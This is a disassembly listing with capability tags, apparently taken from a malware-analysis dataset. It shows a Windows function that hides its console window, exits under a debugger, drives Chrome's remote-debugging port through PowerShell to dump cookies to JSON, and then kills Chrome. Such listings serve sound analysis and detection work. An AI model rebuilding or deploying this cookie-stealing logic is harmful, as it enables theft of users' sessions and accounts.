Function at 0x40fe20
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get file attributes
Hide graphical window
Parse pe header
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470bb7
mov eax, dword fs:[0]
push eax
sub esp, 0x2bc
mov eax, dword [0x489400]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40fe6e
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [0x48a18c], 7
mov ecx, 0x48a178
cmova ecx, dword [0x48a178]
call fcn.004123a0
test eax, eax
jne 0x410f45
cmp dword [0x48a18c], 7
mov ecx, 0x48a178
cmova ecx, dword [0x48a178]
call fcn.004127f0
test eax, eax
jne 0x410f45
xorps xmm0, xmm0
mov dword [ebp - 0x2c], eax
movq qword [ebp - 0x34], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x28]
push 0x2b
push str.https:__www.youtube.com_watch_vdQw4w9WgXcQ
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
call fcn.0040d560
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
je 0x40ff0a
movups xmm0, xmmword [ebp - 0x28]
mov ecx, 0xf
mov byte [ebp - 0x28], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x18]
movq qword [eax + 0x10], xmm0
add dword [ebp - 0x30], 0x18
jmp 0x40ff1a
lea ecx, [ebp - 0x28]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.0040e360
mov ecx, dword [ebp - 0x14]
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x40ff51
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ff47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ff47
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0046e22c
add esp, 8
lea ecx, [ebp - 0xdc]
call fcn.00412c40
mov byte [ebp - 4], 2
cmp dword [ebp - 0xcc], 0
je 0x40fe66
mov esi, dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
push str.username
call esi
add esp, 4
lea ecx, [ebp - 0x154]
push eax
call fcn.0040c3d0
push str.temp
mov byte [ebp - 4], 3
call esi
add esp, 4
lea ecx, [ebp - 0xac]
push eax
call fcn.0040c3d0
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 4
push eax
mov edx, 0x489f20
lea ecx, [ebp - 0x64]
call fcn.00411650
push 0x489f38
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x94]
call fcn.004115a0
add esp, 8
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 7
call fcn.0040c2b0
push 0x48251c
lea ecx, [ebp - 0x10c]
call fcn.00411160
mov ecx, 0x489f68
mov byte [ebp - 4], 8
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x489f68
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x1f0]
call fcn.00412310
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1d8]
call fcn.00413320
mov esi, eax
lea edx, [ebp - 0xdc]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x234]
call fcn.00413320
push eax
mov edx, 0x482528
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x4c]
call fcn.004116a0
push 0x482520
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x64]
call fcn.00411910
push esi
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x124]
call fcn.004119e0
add esp, 0x24
lea ecx, [ebp - 0x64]
call fcn.00411070
lea ecx, [ebp - 0x4c]
call fcn.00411070
lea ecx, [ebp - 0x234]
call fcn.00411070
lea ecx, [ebp - 0x1d8]
call fcn.00411070
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 0x13
call fcn.0040c2b0
push str.Profile_1
lea edx, [ebp - 0x94]
lea ecx, [ebp - 0xf4]
call fcn.00411ac0
add esp, 4
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0x14
call fcn.0040c140
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4100fd
test al, 0x10
je 0x4100fd
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x94]
call fcn.0040c280
lea ecx, [ebp - 0x28]
call fcn.00411390
push str.chrome_cookies.json
lea edx, [ebp - 0xac]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x13c]
call fcn.00411ac0
add esp, 4
lea ecx, [ebp - 0x7c]
call fcn.0040c510
lea ecx, [ebp - 0xc4]
call fcn.00411390
mov ecx, 0x489fc8
mov byte [ebp - 4], 0x18
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x489fc8
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x27c]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x264]
call fcn.00413320
push eax
mov ecx, 0x489fb0
mov byte [ebp - 4], 0x1a
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x489fb0
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x24c]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x4c]
call fcn.00413320
push eax
mov ecx, 0x489f98
mov byte [ebp - 4], 0x1c
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x489f98
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x64]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x234]
call fcn.00413320
mov edx, eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x1d8]
call fcn.004119e0
add esp, 4
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x1f0]
mov edx, eax
call fcn.004119e0
add esp, 4
lea ecx, [ebp - 0x28]
push eax
call fcn.004110d0
lea ecx, [ebp - 0x1f0]
call fcn.00411070
lea ecx, [ebp - 0x1d8]
call fcn.00411070
lea ecx, [ebp - 0x234]
call fcn.00411070
lea ecx, [ebp - 0x64]
call fcn.0040c2b0
lea ecx, [ebp - 0x4c]
call fcn.00411070
lea ecx, [ebp - 0x24c]
call fcn.0040c2b0
lea ecx, [ebp - 0x264]
call fcn.00411070
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
push 0
lea ecx, [ebp - 0x28]
call fcn.00410f70
mov ecx, 0x48a190
mov edx, eax
call fcn.00410f70
mov ecx, eax
call fcn.00414280
add esp, 4
lea ecx, [ebp - 0x34]
xor esi, esi
mov dword [ebp - 0x178], esi
call fcn.00410f50
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x410f1b
mov byte [ebp - 0x15c], 0
nop dword [eax]
push 0x482550
lea edx, [esi + 0x2406]
lea ecx, [ebp - 0x174]
call fcn.0040ead0
mov edx, eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x190]
call fcn.00413320
push eax
mov ecx, 0x489f50
mov byte [ebp - 4], 0x21
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x489f50
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x1c0]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1a8]
call fcn.00413320
mov dword [ebp - 0x158], eax
push dword [ebp - 0x178]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x23
call fcn.0040bf40
mov edx, eax
lea ecx, [ebp - 0x208]
call fcn.00413320
mov edi, eax
lea edx, [ebp - 0x94]
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x298]
call fcn.00413320
mov esi, eax
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x25
push eax
mov edx, str.powershell.exe__Command__
lea ecx, [ebp - 0x2c8]
call fcn.004117c0
push esi
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x2b0]
call fcn.004119e0
push 0x482558
mov edx, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x234]
call fcn.00411910
push edi
mov edx, eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1d8]
call fcn.004119e0
push 0x482528
mov edx, eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1f0]
call fcn.00411910
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x24c]
push dword [ebp - 0x158]
mov edx, eax
call fcn.004119e0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x264]
call fcn.004119e0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x27c]
call fcn.00411910
add esp, 4
lea ecx, [ebp - 0x10c]
push eax
call fcn.004110d0
lea ecx, [ebp - 0x27c]
call fcn.00411070
lea ecx, [ebp - 0x264]
call fcn.00411070
lea ecx, [ebp - 0x24c]
call fcn.00411070
lea ecx, [ebp - 0x1f0]
call fcn.00411070
lea ecx, [ebp - 0x1d8]
call fcn.00411070
lea ecx, [ebp - 0x234]
call fcn.00411070
lea ecx, [ebp - 0x2b0]
call fcn.00411070
lea ecx, [ebp - 0x2c8]
call fcn.00411070
lea ecx, [ebp - 0x298]
call fcn.00411070
lea ecx, [ebp - 0x208]
call fcn.00411070
lea ecx, [ebp - 0x1a8]
call fcn.00411070
lea ecx, [ebp - 0x1c0]
call fcn.0040c2b0
lea ecx, [ebp - 0x190]
call fcn.00411070
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
push 0
lea ecx, [ebp - 0x10c]
call fcn.00410f70
mov ecx, 0x48a1a8
mov edx, eax
call fcn.00410f70
mov ecx, eax
call fcn.00414280
mov edx, dword [ebp - 0x178]
lea ecx, [ebp - 0x1a8]
lea edx, [edx + 0x2406]
call fcn.0040ead0
mov edx, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x1c0]
call fcn.00413320
push eax
mov edx, str.http:__localhost:
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x190]
call fcn.004116a0
push str._json
mov edx, eax
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x174]
call fcn.00411910
add esp, 0xc
lea ecx, [ebp - 0xc4]
push eax
call fcn.004110d0
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
call fcn.00411070
lea ecx, [ebp - 0x1c0]
call fcn.00411070
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x489fe0
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x489fe0
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
call fcn.004110d0
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x48a010
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a010
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x298]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x208]
call fcn.00413320
push eax
lea eax, [ebp - 0xc4]
mov byte [ebp - 4], 0x32
push eax
mov ecx, 0x489ff8
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x489ff8
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x1a8]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x1c0]
call fcn.00413320
mov edx, eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x190]
call fcn.00411a00
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x174]
call fcn.004119e0
add esp, 4
mov byte [ebp - 4], 0x36
push eax
lea ecx, [ebp - 0x28]
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
call fcn.00411070
lea ecx, [ebp - 0x1c0]
call fcn.00411070
lea ecx, [ebp - 0x1a8]
call fcn.0040c2b0
lea ecx, [ebp - 0x208]
call fcn.00411070
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
push 1
lea ecx, [ebp - 0x28]
call fcn.00410f70
mov ecx, 0x48a1c0
mov edx, eax
call fcn.00410f70
mov ecx, eax
call fcn.00414280
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x14
call edi
lea ecx, [ebp - 0x13c]
call fcn.0040c140
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.00412f00
push eax
lea ecx, [ebp - 0x7c]
call fcn.0040c300
lea ecx, [ebp - 0x174]
call fcn.0040c2b0
sub esp, 8
lea ecx, [ebp - 0x7c]
call fcn.004113b0
inc eax
lea ecx, [ebp - 0x7c]
push eax
call fcn.004113d0
push 0x14
call edi
mov ecx, 0x48a028
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a028
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
call fcn.004110d0
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x48a040
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a040
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x39
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x48a058
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a058
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x208]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1a8]
call fcn.00413320
mov esi, eax
push dword [ebp - 0x178]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3b
call fcn.0040bf40
mov edx, eax
lea ecx, [ebp - 0x1c0]
call fcn.00413320
push eax
mov edx, str.echo_
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x190]
call fcn.004116a0
push esi
mov edx, eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x174]
call fcn.004119e0
add esp, 8
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x3e
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
call fcn.00411070
lea ecx, [ebp - 0x1c0]
call fcn.00411070
lea ecx, [ebp - 0x1a8]
call fcn.00411070
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
push str.cookie_dumpschrome_cookies_dump.json_
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x1d8]
call fcn.00413320
push eax
push 0x48262c
lea edx, [ebp - 0x7c]
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x1f0]
call fcn.00413320
push eax
mov ecx, 0x48a088
mov byte [ebp - 4], 0x40
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a088
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x24c]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x264]
call fcn.00413320
push eax
lea edx, [ebp - 0xac]
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x27c]
call fcn.00413320
push eax
mov ecx, 0x48a070
mov byte [ebp - 4], 0x43
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a070
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x2b0]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x2c8]
call fcn.00413320
mov edx, eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x298]
call fcn.004119e0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x208]
call fcn.004119e0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x1a8]
call fcn.004119e0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x1c0]
call fcn.00411910
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x190]
call fcn.004119e0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x174]
call fcn.00411910
add esp, 4
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x4b
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
call fcn.00411070
lea ecx, [ebp - 0x1c0]
call fcn.00411070
lea ecx, [ebp - 0x1a8]
call fcn.00411070
lea ecx, [ebp - 0x208]
call fcn.00411070
lea ecx, [ebp - 0x298]
call fcn.00411070
lea ecx, [ebp - 0x2c8]
call fcn.00411070
lea ecx, [ebp - 0x2b0]
call fcn.0040c2b0
lea ecx, [ebp - 0x27c]
call fcn.00411070
lea ecx, [ebp - 0x264]
call fcn.00411070
lea ecx, [ebp - 0x24c]
call fcn.0040c2b0
lea ecx, [ebp - 0x1f0]
call fcn.00411070
lea ecx, [ebp - 0x1d8]
mov byte [ebp - 4], 0x18
call fcn.00411070
mov ecx, 0x48a0a0
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a0a0
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x4d
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x48a0b8
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a0b8
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x4f
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x190]
call fcn.0040c2b0
mov ecx, 0x48a0d0
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a0d0
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x51
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x48a0e8
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a0e8
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x53
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
push str._results_
lea ecx, [ebp - 0x28]
call fcn.00410f80
mov ecx, 0x48a100
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a100
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x55
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x190]
call fcn.0040c2b0
push str.echo__n_n____cookie_dumpschrome_cookies_dump.json_
lea ecx, [ebp - 0x28]
call fcn.00410f80
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
push eax
call fcn.00411290
mov ecx, 1
call fcn.00412db0
add esp, 0x18
push 0x14
call edi
mov ecx, 0x48a118
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a118
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
call fcn.004110d0
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x48a130
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a130
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x58
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov ecx, 0x48a148
call fcn.0040c130
sub esp, 0x18
mov esi, eax
mov ecx, esp
push 0x48a148
call fcn.0040c410
mov edx, esi
lea ecx, [ebp - 0x190]
call fcn.00412310
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x174]
call fcn.00413320
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x5a
call fcn.00411000
lea ecx, [ebp - 0x174]
call fcn.00411070
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
push 1
lea ecx, [ebp - 0x28]
call fcn.00410f70
mov ecx, 0x48a1d8
mov edx, eax
call fcn.00410f70
mov ecx, eax
call fcn.00414280
add esp, 4
push 0x14
call edi
call fcn.004144a0
lea ecx, [ebp - 0x64]
call fcn.004136a0
push str._c00k1e_m0nster
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x5b
call fcn.0040c3d0
lea eax, [ebp - 0x20c]
mov byte [ebp - 4], 0x5c
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040c150
lea ecx, [ebp - 0x4c]
mov esi, dword [eax]
lea eax, [ebp - 0x210]
push eax
call fcn.0040c150
mov edx, eax
lea ecx, [ebp - 0x4c]
lea eax, [ebp - 0x214]
push eax
call fcn.0040c170
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x218]
push dword [edx]
push dword [eax]
call fcn.00411b20
add esp, 0xc
lea ecx, [ebp - 0x4c]
push esi
push dword [eax]
lea eax, [ebp - 0x21c]
push eax
call fcn.0040c190
sub esp, 0x18
lea eax, [ebp - 0x4c]
mov ecx, esp
mov dword [ebp - 0x158], esp
push eax
call fcn.0040c410
sub esp, 0x18
mov byte [ebp - 4], 0x5d
lea eax, [ebp - 0x64]
mov ecx, esp
push eax
call fcn.0040c410
lea ecx, [ebp - 0x174]
call fcn.004134a0
add esp, 0x18
mov byte [ebp - 4], 0x5e
mov ecx, eax
mov byte [ebp - 4], 0x5f
call fcn.00413d30
add esp, 0x18
lea ecx, [ebp - 0x174]
call fcn.0040c2b0
lea ecx, [ebp - 0x4c]
call fcn.0040c2b0
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x18
call fcn.0040c2b0
mov esi, dword [ebp - 0x178]
lea ecx, [ebp - 0x34]
inc esi
mov dword [ebp - 0x178], esi
call fcn.00410f50
cmp esi, eax
jb 0x4102c0
push 0x1d4c
call edi
push 0
push 0
push str.Get_Process_chrome__Stop_Process
push str.powershell.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3